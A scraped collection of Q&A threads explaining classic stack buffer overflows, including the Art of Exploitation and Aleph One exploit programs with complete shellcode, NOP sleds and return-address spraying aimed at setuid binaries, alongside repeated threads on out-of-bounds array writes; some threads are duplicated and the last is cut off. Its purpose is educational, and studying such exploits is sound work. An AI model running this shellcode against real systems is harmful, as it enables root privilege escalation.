Stack-based overflow code from Hacking: The Art of Exploitation - c

This might be related to this, but i'm not sure if it's in the same boat.
So i've been re-reading Hacking: The Art of Exploitation and I have a question about some of the C code in the book, which doesn't quite make sense to me:
Let's just assume we're back in ~2000 and we don't really have stack cookies and ASLR (maybe we do, but it hasn't been implemented or isn't widespread), or any other type of protection we have now-a-days.
He shows us this piece of code to exploit a simple stack-based overflow:
#include <stdlib.h>
char shellcode[] = "..." // omitted
unsigned long sp(void)
{ __asm__("movl %esp, %eax); }
int main(int argc, char *argv[]) {
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
// bunch of printfs here...
buffer = malloc(600);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i = 0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }
for(i = 0; i < 200; i++)
{ buffer[i] = '\x90'; }
ptr = buffer + 200;
for(i = 0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
buffer[600-1] = 0;
execl("./vuln", "vuln", buffer, 0);
free(buffer);
return 0;
}
So what he wants to do is take the address of the ESP and overwrite the saved EIP with that address, so that the processor will jump to his NOP sled in memory and execute the shellcode in the stack.
What I do not understand, is how he can use that particular ESP value that he gets from sp() at the current time he calls it.
From what I understand, the stack looks "something" like this:
...
saved ebp <-- execl
saved eip
"./vuln"
"vuln"
buffer
0
*ptr <-- sp() returns this address?
*buffer
*addr_ptr
ret
esp
offset
i
saved ebp <-- main
saved eip
argc
argv
...
Since he calls (I know it's a function pointer, so I guess not entirely accurate wording?) sp() so early in the exploit, shouldn't it give him a bad ESP address? Even for that matter, I don't see how he can even use that technique here, because he will never get the ESP that points to the top of the buffer inside his vuln program.
Thanks.

I don't see how he can even use that technique here, because he will never get the ESP that points to the top of the buffer inside his vuln program.
I haven't read much of the book, but I think I've figured this out. Here's what *buffer looks like:
NOP sled | shellcode | Address of buffer in the exploit's stack frame
When vuln does strcpy() on buffer into its own stack, it fails to check the bounds and overwrites its own EIP with the address of the start of the buffer in the exploit's stack frame, or at least something close to it (hence the NOP sled). The NOP sled and shellcode copied to vuln's stack frame are incidental; that's not where they run from. It's critical that the sled and shellcode be smaller than how big vuln expects buffer to be, otherwise the saved EIP will be overwritten by shellcode rather than the address of buffer.
Then, when whatever portion of vuln that uses strcpy() on buffer returns, it goes to the NOP sled and executes the shellcode.
The important point is that buffer is read twice, in two different places.
Edit: Disregard that, I confused myself (though thanks for the accept!). Hopefully I will not confuse you too, which is why I'm writing this edit. The vulnerable program is in a completely different virtual memory space since it is run by the operating system in a separate process (or the same process with a new image? Whatever). So there'd be no way for vuln to access the exploit's stack or heap.
The ESP trickery must be some way to guess where the NOP sled in the copied buffer ends up in vuln's stack. I personally would expect a much larger offset than 0 since the exploit's stack is quite small compared to vuln's.
That said, I'm pretty sure there are still two copies of the shellcode in vuln (otherwise, what could it strcpy() from?). With an offset of 0, perhaps he is running the shellcode stored in argv[]...?!? In that case, you'd still have a situation where the address in one buffer points to the NOP sled in another buffer, as in my original answer. I've been wrong before though, so let me know if that makes no sense.

A lot will depend on what specific OS the code was intended to exploit. Without knowing this, any discussion has to be somewhat generic [and a guess on my part].
One possibility is that there was something significant in the "bunch of printfs" you've left out...
If there's really nothing clever happening there, I would guess that the vulnerability it's trying to exploit is within the execl(..) call and/or the OS when effectively passed a long (600 byte) command-line parameter. Somewhere in there [I'm guessing] a subroutine will be setting up the environment for the new process, and along the way will be copying the 600-byte string passed in as a parameter (buffer) into what may well be a small(ish) fixed size buffer on the stack of the new process, and [presumably] overwrites the return address of this "setup" function with many copies of the stack pointer from the original call. When the "command-line copying function" returns, it will thus return to the carefully-prepared buffer from the original copy and execute the shellcode.
(If the omitted shellcode contained a zero byte ...\x00... then this cannot be what's happening, as it would mark the end of the string being copied in setting up the command-line buffer).

:) I had been at this for days trying to find out what was actually going on. In the process i also discovered this post. Now that i have a glimpse of what is going on i thought i should share what i understood so that others like 'me' would also find this useful.
unsigned long getesp()
{
__asm__("movl %esp, %eax");
}
This function is actually used to guess the return address. It returns the ESP value of our shellcode injection program NOT the ESP value of the vulnerable program. But since the stack starts at almost the same address ( for systems without ASLR enabled) and as aleph one mentions in his article "Most programs do not push more than a few hundred
or a few thousand bytes into the stack at any one time. Therefore by knowing
where the stack starts we can try to guess where the buffer we are trying to
overflow will be ", we can get an idea of where our shellcode should be. Let me explain.
Suppose that for our test program, the stack starts at 1000. This address is actually returned by the above code when we execute it. Now consider our vulnerable program and suppose that the buffer we are trying to inject to is at address 970, and the return address is stored at 1040.
[BUFFER 970][RETURN_ADDRESS 1070]
Ok? Now the buffer is filed with NOPS till the first half,then with the shellcode and then with the return address right..
[NOP SLED][SHELL_CODE][RETURN_ADDRESS]
lets fill it like this
NOPS [970-1010] SHELLCODE[ 1010-1050 ] RETURN_ADDRESS[1050-1070]
The value returned by the getesp() gives an idea of where the stack will be. so if we rewrite the return address with 1000 which was returned by getesp(), we can see that the exploit would still work because the address at 1000 is filed with nops. the exection will slide down to the shellcode !

Related

how can fgets() + sscanf() write to an array larger than it's size? [duplicate]

Why does the code below work without any crash # runtime ?
And also the size is completely dependent on machine/platform/compiler!!. I can even give upto 200 in a 64-bit machine. how would a segmentation fault in main function get detected in the OS?
int main(int argc, char* argv[])
{
int arr[3];
arr[4] = 99;
}
Where does this buffer space come from? Is this the stack allocated to a process ?
Something I wrote sometime ago for education-purposes...
Consider the following c-program:
int q[200];
main(void) {
int i;
for(i=0;i<2000;i++) {
q[i]=i;
}
}
after compiling it and executing it, a core dump is produced:
$ gcc -ggdb3 segfault.c
$ ulimit -c unlimited
$ ./a.out
Segmentation fault (core dumped)
now using gdb to perform a post mortem analysis:
$ gdb -q ./a.out core
Program terminated with signal 11, Segmentation fault.
[New process 7221]
#0 0x080483b4 in main () at s.c:8
8 q[i]=i;
(gdb) p i
$1 = 1008
(gdb)
huh, the program didn’t segfault when one wrote outside the 200 items allocated, instead it crashed when i=1008, why?
Enter pages.
One can determine the page size in several ways on UNIX/Linux, one way is to use the system function sysconf() like this:
#include <stdio.h>
#include <unistd.h> // sysconf(3)
int main(void) {
printf("The page size for this system is %ld bytes.\n",
sysconf(_SC_PAGESIZE));
return 0;
}
which gives the output:
The page size for this system is 4096 bytes.
or one can use the commandline utility getconf like this:
$ getconf PAGESIZE
4096
post mortem
It turns out that the segfault occurs not at i=200 but at i=1008, lets figure out why. Start gdb to do some post mortem ananlysis:
$gdb -q ./a.out core
Core was generated by `./a.out'.
Program terminated with signal 11, Segmentation fault.
[New process 4605]
#0 0x080483b4 in main () at seg.c:6
6 q[i]=i;
(gdb) p i
$1 = 1008
(gdb) p &q
$2 = (int (*)[200]) 0x804a040
(gdb) p &q[199]
$3 = (int *) 0x804a35c
q ended at at address 0x804a35c, or rather, the last byte of q[199] was at that location. The page size is as we saw earlier 4096 bytes and the 32-bit word size of the machine gives that an virtual address breaks down into a 20-bit page number and a 12-bit offset.
q[] ended in virtual page number:
0x804a = 32842
offset:
0x35c = 860
so there were still:
4096 - 864 = 3232
bytes left on that page of memory on which q[] was allocated. That space can hold:
3232 / 4 = 808
integers, and the code treated it as if it contained elements of q at position 200 to 1008.
We all know that those elements don’t exists and the compiler didn’t complain, neither did the hw since we have write permissions to that page. Only when i=1008 did q[] refer to an address on a different page for which we didn’t have write permission, the virtual memory hw detected this and triggered a segfault.
An integer is stored in 4 bytes, meaning that this page contains 808 (3236/4) additional fake elements meaning that it is still perfectly legal to access these elements from q[200], q[201] all the way up to element 199+808=1007 (q[1007]) without triggering a seg fault. When accessing q[1008] you enter a new page for which the permission are different.
Since you're writing outside the boundaries of your array, the behaviour of your code in undefined.
It is the nature of undefined behaviour that anything can happen, including lack of segfaults (the compiler is under no obligation to perform bounds checking).
You're writing to memory you haven't allocated but that happens to be there and that -- probably -- is not being used for anything else. Your code might behave differently if you make changes to seemingly unrelated parts of the code, to your OS, compiler, optimization flags etc.
In other words, once you're in that territory, all bets are off.
Regarding exactly when / where a local variable buffer overflow crashes depends on a few factors:
The amount of data on the stack already at the time the function is called which contains the overflowing variable access
The amount of data written into the overflowing variable/array in total
Remember that stacks grow downwards. I.e. process execution starts with a stackpointer close to the end of the memory to-be-used as stack. It doesn't start at the last mapped word though, and that's because the system's initialization code may decide to pass some sort of "startup info" to the process at creation time, and often do so on the stack.
That is the usual failure mode - a crash when returning from the function that contained the overflow code.
If the total amount of data written into a buffer on the stack is larger than the total amount of stackspace used previously (by callers / initialization code / other variables) then you'll get a crash at whatever memory access first runs beyond the top (beginning) of the stack. The crashing address will be just past a page boundary - SIGSEGV due to accessing memory beyond the top of the stack, where nothing is mapped.
If that total is less than the size of the used part of the stack at this time, then it'll work just ok and crash later - in fact, on platforms that store return addresses on the stack (which is true for x86/x64), when returning from your function. That's because the CPU instruction ret actually takes a word from the stack (the return address) and redirects execution there. If instead of the expected code location this address contains whatever garbage, an exception occurs and your program dies.
To illustrate this: When main() is called, the stack looks like this (on a 32bit x86 UNIX program):
[ esp ] <return addr to caller> (which exits/terminates process)
[ esp + 4 ] argc
[ esp + 8 ] argv
[ esp + 12 ] envp <third arg to main() on UNIX - environment variables>
[ ... ]
[ ... ] <other things - like actual strings in argv[], envp[]
[ END ] PAGE_SIZE-aligned stack top - unmapped beyond
When main() starts, it will allocate space on the stack for various purposes, amongst others to host your to-be-overflowed array. This will make it look like:
[ esp ] <current bottom end of stack>
[ ... ] <possibly local vars of main()>
[ esp + X ] arr[0]
[ esp + X + 4 ] arr[1]
[ esp + X + 8 ] arr[2]
[ esp + X + 12 ] <possibly other local vars of main()>
[ ... ] <possibly other things (saved regs)>
[ old esp ] <return addr to caller> (which exits/terminates process)
[ old esp + 4 ] argc
[ old esp + 8 ] argv
[ old esp + 12 ] envp <third arg to main() on UNIX - environment variables>
[ ... ]
[ ... ] <other things - like actual strings in argv[], envp[]
[ END ] PAGE_SIZE-aligned stack top - unmapped beyond
This means you can happily access way beyond arr[2].
For a taster of different crashes resulting from buffer overflows, attempt this one:
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv)
{
int i, arr[3];
for (i = 0; i < atoi(argv[1]); i++)
arr[i] = i;
do {
printf("argv[%d] = %s\n", argc, argv[argc]);
} while (--argc);
return 0;
}
and see how different the crash will be when you overflow the buffer by a little (say, 10) bit, compared to when you overflow it beyond the end of the stack. Try it with different optimization levels and different compilers. Quite illustrative, as it shows both misbehaviour (won't always print all argv[] correctly) as well as crashes in various places, maybe even endless loops (if, e.g., the compiler places i or argc into the stack and the code overwrites it during the loop).
By using an array type, which C++ has inherited from C, you are implicitly asking not to have a range check.
If you try this instead
void main(int argc, char* argv[])
{
std::vector<int> arr(3);
arr.at(4) = 99;
}
you will get an exception thrown.
So C++ offers both a checked and an unchecked interface. It is up to you to select the one you want to use.
That's undefined behavior - you simply don't observe any problems. The most likely reason is you overwrite an area of memory the program behavior doesn't depend on earlier - that memory is technically writable (stack size is about 1 megabyte in size in most cases) and you see no error indication. You shouldn't rely on this.
To answer your question why it is "undetected": Most C compilers do not analyse at compile time what you are doing with pointers and with memory, and so nobody notices at compile time that you've written something dangerous. At runtime, there is also no controlled, managed environment that babysits your memory references, so nobody stops you from reading memory that you aren't entitled to. The memory happens to be allocated to you at that point (because its just part of the stack not far from your function), so the OS doesn't have a problem with that either.
If you want hand-holding while you access your memory, you need a managed environment like Java or CLI, where your entire program is run by another, managing program that looks out for those transgressions.
Your code has Undefined Behavior. That means it can do anything or nothing. Depending on your compiler and OS etc., it could crash.
That said, with many if not most compilers your code will not even compile.
That's because you have void main, while both the C standard and the C++ standard requires int main.
About the only compiler that's happy with void main is Microsoft’s, Visual C++.
That's a compiler defect, but since Microsoft has lots of example documentation and even code generation tools that generate void main, they will likely never fix it. However, consider that writing Microsoft-specific void main is one character more to type than standard int main. So why not go with the standards?
Cheers & hth.,
A segmentation fault occurs when a process tries to overwrite a page in memory which it doesn't own; Unless you run a long way over the end of you're buffer you aren't going to trigger a seg fault.
The stack is located somewhere in one of the blocks of memory owned by your application. In this instance you have just been lucky if you haven't overwritten something important. You have overwritten perhaps some unused memory. If you were a bit more unlucky you might have overwritten the stack frame of another function on the stack.
So apparently when you're asking the computer for a certain amount of bytes to allocate in memory, say:
char array[10]
it gives us a few extra bytes in order not to bump into segfault, however it's still not safe to use those, and trying to reach further memory will eventually cause the program to crash.

How do the bytes in malloc relates to the size of an array [duplicate]

Why does the code below work without any crash # runtime ?
And also the size is completely dependent on machine/platform/compiler!!. I can even give upto 200 in a 64-bit machine. how would a segmentation fault in main function get detected in the OS?
int main(int argc, char* argv[])
{
int arr[3];
arr[4] = 99;
}
Where does this buffer space come from? Is this the stack allocated to a process ?
Something I wrote sometime ago for education-purposes...
Consider the following c-program:
int q[200];
main(void) {
int i;
for(i=0;i<2000;i++) {
q[i]=i;
}
}
after compiling it and executing it, a core dump is produced:
$ gcc -ggdb3 segfault.c
$ ulimit -c unlimited
$ ./a.out
Segmentation fault (core dumped)
now using gdb to perform a post mortem analysis:
$ gdb -q ./a.out core
Program terminated with signal 11, Segmentation fault.
[New process 7221]
#0 0x080483b4 in main () at s.c:8
8 q[i]=i;
(gdb) p i
$1 = 1008
(gdb)
huh, the program didn’t segfault when one wrote outside the 200 items allocated, instead it crashed when i=1008, why?
Enter pages.
One can determine the page size in several ways on UNIX/Linux, one way is to use the system function sysconf() like this:
#include <stdio.h>
#include <unistd.h> // sysconf(3)
int main(void) {
printf("The page size for this system is %ld bytes.\n",
sysconf(_SC_PAGESIZE));
return 0;
}
which gives the output:
The page size for this system is 4096 bytes.
or one can use the commandline utility getconf like this:
$ getconf PAGESIZE
4096
post mortem
It turns out that the segfault occurs not at i=200 but at i=1008, lets figure out why. Start gdb to do some post mortem ananlysis:
$gdb -q ./a.out core
Core was generated by `./a.out'.
Program terminated with signal 11, Segmentation fault.
[New process 4605]
#0 0x080483b4 in main () at seg.c:6
6 q[i]=i;
(gdb) p i
$1 = 1008
(gdb) p &q
$2 = (int (*)[200]) 0x804a040
(gdb) p &q[199]
$3 = (int *) 0x804a35c
q ended at at address 0x804a35c, or rather, the last byte of q[199] was at that location. The page size is as we saw earlier 4096 bytes and the 32-bit word size of the machine gives that an virtual address breaks down into a 20-bit page number and a 12-bit offset.
q[] ended in virtual page number:
0x804a = 32842
offset:
0x35c = 860
so there were still:
4096 - 864 = 3232
bytes left on that page of memory on which q[] was allocated. That space can hold:
3232 / 4 = 808
integers, and the code treated it as if it contained elements of q at position 200 to 1008.
We all know that those elements don’t exists and the compiler didn’t complain, neither did the hw since we have write permissions to that page. Only when i=1008 did q[] refer to an address on a different page for which we didn’t have write permission, the virtual memory hw detected this and triggered a segfault.
An integer is stored in 4 bytes, meaning that this page contains 808 (3236/4) additional fake elements meaning that it is still perfectly legal to access these elements from q[200], q[201] all the way up to element 199+808=1007 (q[1007]) without triggering a seg fault. When accessing q[1008] you enter a new page for which the permission are different.
Since you're writing outside the boundaries of your array, the behaviour of your code in undefined.
It is the nature of undefined behaviour that anything can happen, including lack of segfaults (the compiler is under no obligation to perform bounds checking).
You're writing to memory you haven't allocated but that happens to be there and that -- probably -- is not being used for anything else. Your code might behave differently if you make changes to seemingly unrelated parts of the code, to your OS, compiler, optimization flags etc.
In other words, once you're in that territory, all bets are off.
Regarding exactly when / where a local variable buffer overflow crashes depends on a few factors:
The amount of data on the stack already at the time the function is called which contains the overflowing variable access
The amount of data written into the overflowing variable/array in total
Remember that stacks grow downwards. I.e. process execution starts with a stackpointer close to the end of the memory to-be-used as stack. It doesn't start at the last mapped word though, and that's because the system's initialization code may decide to pass some sort of "startup info" to the process at creation time, and often do so on the stack.
That is the usual failure mode - a crash when returning from the function that contained the overflow code.
If the total amount of data written into a buffer on the stack is larger than the total amount of stackspace used previously (by callers / initialization code / other variables) then you'll get a crash at whatever memory access first runs beyond the top (beginning) of the stack. The crashing address will be just past a page boundary - SIGSEGV due to accessing memory beyond the top of the stack, where nothing is mapped.
If that total is less than the size of the used part of the stack at this time, then it'll work just ok and crash later - in fact, on platforms that store return addresses on the stack (which is true for x86/x64), when returning from your function. That's because the CPU instruction ret actually takes a word from the stack (the return address) and redirects execution there. If instead of the expected code location this address contains whatever garbage, an exception occurs and your program dies.
To illustrate this: When main() is called, the stack looks like this (on a 32bit x86 UNIX program):
[ esp ] <return addr to caller> (which exits/terminates process)
[ esp + 4 ] argc
[ esp + 8 ] argv
[ esp + 12 ] envp <third arg to main() on UNIX - environment variables>
[ ... ]
[ ... ] <other things - like actual strings in argv[], envp[]
[ END ] PAGE_SIZE-aligned stack top - unmapped beyond
When main() starts, it will allocate space on the stack for various purposes, amongst others to host your to-be-overflowed array. This will make it look like:
[ esp ] <current bottom end of stack>
[ ... ] <possibly local vars of main()>
[ esp + X ] arr[0]
[ esp + X + 4 ] arr[1]
[ esp + X + 8 ] arr[2]
[ esp + X + 12 ] <possibly other local vars of main()>
[ ... ] <possibly other things (saved regs)>
[ old esp ] <return addr to caller> (which exits/terminates process)
[ old esp + 4 ] argc
[ old esp + 8 ] argv
[ old esp + 12 ] envp <third arg to main() on UNIX - environment variables>
[ ... ]
[ ... ] <other things - like actual strings in argv[], envp[]
[ END ] PAGE_SIZE-aligned stack top - unmapped beyond
This means you can happily access way beyond arr[2].
For a taster of different crashes resulting from buffer overflows, attempt this one:
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv)
{
int i, arr[3];
for (i = 0; i < atoi(argv[1]); i++)
arr[i] = i;
do {
printf("argv[%d] = %s\n", argc, argv[argc]);
} while (--argc);
return 0;
}
and see how different the crash will be when you overflow the buffer by a little (say, 10) bit, compared to when you overflow it beyond the end of the stack. Try it with different optimization levels and different compilers. Quite illustrative, as it shows both misbehaviour (won't always print all argv[] correctly) as well as crashes in various places, maybe even endless loops (if, e.g., the compiler places i or argc into the stack and the code overwrites it during the loop).
By using an array type, which C++ has inherited from C, you are implicitly asking not to have a range check.
If you try this instead
void main(int argc, char* argv[])
{
std::vector<int> arr(3);
arr.at(4) = 99;
}
you will get an exception thrown.
So C++ offers both a checked and an unchecked interface. It is up to you to select the one you want to use.
That's undefined behavior - you simply don't observe any problems. The most likely reason is you overwrite an area of memory the program behavior doesn't depend on earlier - that memory is technically writable (stack size is about 1 megabyte in size in most cases) and you see no error indication. You shouldn't rely on this.
To answer your question why it is "undetected": Most C compilers do not analyse at compile time what you are doing with pointers and with memory, and so nobody notices at compile time that you've written something dangerous. At runtime, there is also no controlled, managed environment that babysits your memory references, so nobody stops you from reading memory that you aren't entitled to. The memory happens to be allocated to you at that point (because its just part of the stack not far from your function), so the OS doesn't have a problem with that either.
If you want hand-holding while you access your memory, you need a managed environment like Java or CLI, where your entire program is run by another, managing program that looks out for those transgressions.
Your code has Undefined Behavior. That means it can do anything or nothing. Depending on your compiler and OS etc., it could crash.
That said, with many if not most compilers your code will not even compile.
That's because you have void main, while both the C standard and the C++ standard requires int main.
About the only compiler that's happy with void main is Microsoft’s, Visual C++.
That's a compiler defect, but since Microsoft has lots of example documentation and even code generation tools that generate void main, they will likely never fix it. However, consider that writing Microsoft-specific void main is one character more to type than standard int main. So why not go with the standards?
Cheers & hth.,
A segmentation fault occurs when a process tries to overwrite a page in memory which it doesn't own; Unless you run a long way over the end of you're buffer you aren't going to trigger a seg fault.
The stack is located somewhere in one of the blocks of memory owned by your application. In this instance you have just been lucky if you haven't overwritten something important. You have overwritten perhaps some unused memory. If you were a bit more unlucky you might have overwritten the stack frame of another function on the stack.
So apparently when you're asking the computer for a certain amount of bytes to allocate in memory, say:
char array[10]
it gives us a few extra bytes in order not to bump into segfault, however it's still not safe to use those, and trying to reach further memory will eventually cause the program to crash.

Can you explain the method of finding the offset of a buffer when looking for buffer overflow potential

I'm looking at aleph's article on phrack magazine. The code below can also be found there.
We have a vulnerable executable which it's code is:
vulnerable.c
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
Now, since we don't really know, when trying to attack that executable (by overflowing buffer), what is the address of buffer. We need to know it's address because we want to override the ret to point to the beginning of buffer (in which we put our shellcode).
The guessing procedure that is described in the article is as follows:
We can create a program that takes as a parameter a buffer size, and
an offset from its own stack pointer (where we believe the buffer we
want to overflow may live). We'll put the overflow string in an
environment variable so it is easy to manipulate:
exploit2.c
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] = //this shellcode merely opens a shell
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
Now we can try to guess what the buffer and offset should be:
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
I don't understand what does the writer meant to present, in explot2.c we guess the size of the buffer in vulnerable.c and it's offset from the stack pointer.
Why do we apply this offset on the stack pointer of exploit2?
How does this effect vulnerable?
What's the purpose of exploit2.c except from building the EGG environment variable?
Why do we call system("/bin/bash"); at the end?
What's going on between vulnerable and exploit2 in general?
The only purpose of exploit2 is building the egg variable, which needs to be passed as a parameter to vulnerable. It could be modified so to call vulnerable on its own.
The shellcode variable contains machine code for a function that invokes a shell. The goal is to copy this code into the buffer variable of vulnerable, and then overwrite the return address of the main function of vulnerable to point to the entry point of the shell code, that is, the address of the variable buffer. The stack grows downward: the stack pointer register (esp in 32-bit x86 architecture) contains the smallest address used by local variables of the current function, at higher addresses we find other local variables, then the return address of the currently executing function, then the variables of the callee and so on. An overflow write on a variable, such as buffer in vulnerable, would overwrite whatever follows buffer in memory, in this case the return address of main since buffer is a local variable of the main function.
Now that we know what to do, we need some information:
the address of the buffer variable, let's call it bp
the address of the return address of the main function, let's call it ra
If we had this information we could forge an exploit string EGG such that:
its length is ra - bp + sizeof(void*) in order to overflow the string buffer enough to overwrite the return address (sizeof (void* is the size of the return address)
it contains the exploit code to be executed at the beginning, and the address bp at the end
Note that we only need a rough guess for the length of the string because we can just make the string longer and keep repeating the address bp all over it, but we need to compute the exact bp address if we want the shellcode to be executed properly.
We start by guessing the string length needed to overwrite the return value: 600 is enough, because it triggers an Illegal instruction error. Once we find it, we can look for the bp address.
We know that bp is around the bottom of the stack, because that's where the local variables are stored. We assume that the address for the stack are the same in vulnerable and exploit2, we measure the stack address in exploit2 and start poking around changing offset. Once we get the right offset (the one which result in addr being equal to the target bp) the shell code will be executed when the control flow return from the main function of vulnerable.
If you want to test this code, remember that this does not work in modern machines because of the execution prevention technology which is used by operating system to marks pages containing data as not executable.

Buffer Overflow esp offset

I'm a computer engineering student who is studying how stack buffer overflows work. The book I'm reading is The Art of Exploitation (1st edition) by Jon Erickson.
In order to practice what I'm studying I've installed Damn Vulnerable Linux distribution in a virtual machine. I've disabled ASRL (kernel.randomize_va_space = 0), I've compiled the following codes with GCC 3.4.6, I'm using GDB 6.6 and the kernel of the distribution is 2.6.20. My computer has an Intel processor.
The vulnerable program (test2) is created by root and is set as setuid.
The vulnerable code is the following:
//test2.c
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
While the exploit code, created by normal (non root) user, is the following:
//main.c
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long sp(void)
{
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer2, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);
buffer2 = malloc(600);
ptr = buffer2;
addr_ptr = (long *)ptr;
for (i = 0; i < 600; i += 4)
{
*(addr_ptr++) = ret;
}
for (i = 0; i < 200; i++)
{
buffer2[i] = '\x90';
}
ptr = buffer2 + 200;
for (i = 0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}
buffer2[600 - 1] = 0;
execl("/root/workspace/test2/Release/test2", "test2", buffer2, 0);
free(buffer2);
return 0;
}
The program works, it exploits the buffer overflow vulnerability in test2 and gives me a root shell.
What I don't understand, even after reading the book several times and trying to find answers on the internet, is why the value of the stack pointer that we store in the variable esp is the return address of our shellcode. I've disassembled the program with GDB and everything works as the author says but I don't understand why this happens.
I would have liked to show you how the disassembled program looked like and how the memory looked like during execution, but I cannot copy/paste from the guest machine on the virtual machine and I'm not allowed to insert images in my question. So I can only try to describe what happens during execution of the program main (the one that exploits the BOF in test2):
disassembling main, I see that 28 bytes are allocated on the stack (7 variables * 4 bytes). Then the function sp() is called and the value of the stack pointer is stored in esp. The value stored in the variable esp is 0xbffff344. Then, as you can see, we have some printf, we store the payload in buffer2 and then we call the execl function passing buffer2 as an argument.
now the root shell shows up and then the program exits. Disassembling the program after setting a different offset, I can clearly see that 0xbffff344 is precisely the address where the payload is stored when test2 is executed. Could you explain me how does this happen? Does execl sets a new stack frame for the test2 program? In main.c only 28 bytes are allocated on the stack, while in test2 500 bytes are allocated on the stack (for buffer2). So how do I know that the stack pointer that i get in main.c is precisely the return address of the shellcode?
I thank you and apologize if I wrote some stupid things.
Could you explain me how does this happen?
When ASLR is disabled every executable starts at the same address, so given the stack pointer you are able to guess the required offset to find your buffer location in test2. This is also where the NOP sled becomes useful, since it give you multiple possible hit if the offset is not the exact displacement to the shellcode.
That being said the fact the the value of ESP in the main function of your exploit program IS the location of the executed buffer in test2 seems incorrect. Are you sure you just don't misinterpreted gdb results?
You should be able to compute the offset of the buffer using the following : esp - 500 + 28.
Note that you should always wear gloves when using such formula : how the compiler handles locals, (size, order, etc) can vary.
So how do I know that the stack pointer that i get in main.c is precisely the return address of the shellcode?
Well You don't. It depends of the machine, how the program was compiled etc.
Does execl sets a new stack frame for the test2 program?
From the execve man pages :
The exec family of functions shall replace the current process image
with a new process image. The new image shall be constructed from a
regular, executable file called the new process image file. There
shall be no return from a successful exec, because the calling process
image is overlaid by the new process image.
The stack is overridden by a new one for test2.
Hope it helps :)

Why doesn't my program crash when I write past the end of an array?

Why does the code below work without any crash # runtime ?
And also the size is completely dependent on machine/platform/compiler!!. I can even give upto 200 in a 64-bit machine. how would a segmentation fault in main function get detected in the OS?
int main(int argc, char* argv[])
{
int arr[3];
arr[4] = 99;
}
Where does this buffer space come from? Is this the stack allocated to a process ?
Something I wrote sometime ago for education-purposes...
Consider the following c-program:
int q[200];
main(void) {
int i;
for(i=0;i<2000;i++) {
q[i]=i;
}
}
after compiling it and executing it, a core dump is produced:
$ gcc -ggdb3 segfault.c
$ ulimit -c unlimited
$ ./a.out
Segmentation fault (core dumped)
now using gdb to perform a post mortem analysis:
$ gdb -q ./a.out core
Program terminated with signal 11, Segmentation fault.
[New process 7221]
#0 0x080483b4 in main () at s.c:8
8 q[i]=i;
(gdb) p i
$1 = 1008
(gdb)
huh, the program didn’t segfault when one wrote outside the 200 items allocated, instead it crashed when i=1008, why?
Enter pages.
One can determine the page size in several ways on UNIX/Linux, one way is to use the system function sysconf() like this:
#include <stdio.h>
#include <unistd.h> // sysconf(3)
int main(void) {
printf("The page size for this system is %ld bytes.\n",
sysconf(_SC_PAGESIZE));
return 0;
}
which gives the output:
The page size for this system is 4096 bytes.
or one can use the commandline utility getconf like this:
$ getconf PAGESIZE
4096
post mortem
It turns out that the segfault occurs not at i=200 but at i=1008, lets figure out why. Start gdb to do some post mortem ananlysis:
$gdb -q ./a.out core
Core was generated by `./a.out'.
Program terminated with signal 11, Segmentation fault.
[New process 4605]
#0 0x080483b4 in main () at seg.c:6
6 q[i]=i;
(gdb) p i
$1 = 1008
(gdb) p &q
$2 = (int (*)[200]) 0x804a040
(gdb) p &q[199]
$3 = (int *) 0x804a35c
q ended at at address 0x804a35c, or rather, the last byte of q[199] was at that location. The page size is as we saw earlier 4096 bytes and the 32-bit word size of the machine gives that an virtual address breaks down into a 20-bit page number and a 12-bit offset.
q[] ended in virtual page number:
0x804a = 32842
offset:
